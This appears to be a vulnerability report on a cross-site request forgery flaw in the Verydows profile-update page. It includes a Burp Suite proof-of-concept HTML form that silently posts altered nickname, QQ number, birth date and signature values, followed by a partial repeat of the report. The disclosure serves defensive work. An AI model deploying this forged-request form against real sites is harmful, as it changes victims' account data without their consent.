There is a CSRF vulnerability that allows information and other operations to be changed [http://dcbang.net/QQ.PNG](url) POC: `<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="http://demo.verydows.com/user/profile.html?step=update" method="POST"> <input type="hidden" name="nickname" value="马?¤§?“ˆ" /> <input type="hidden" name="qq" value="1332597938" /> <input type="hidden" name="gender" value="0" /> <input type="hidden" name="birth_year" value="1920" /> <input type="hidden" name="birth_month" value="1" /> <input type="hidden" name="birth_day" value="1" /> <input type="hidden" name="signature" value="AA" /> <input type="submit" value="Submit request" /> </form> </body> </html> `
There is a CSRF vulnerability that allows information and other operations to be changed
http://dcbang.net/QQ.PNG
POC:
<script>history.pushState('', '', '/')</script> ``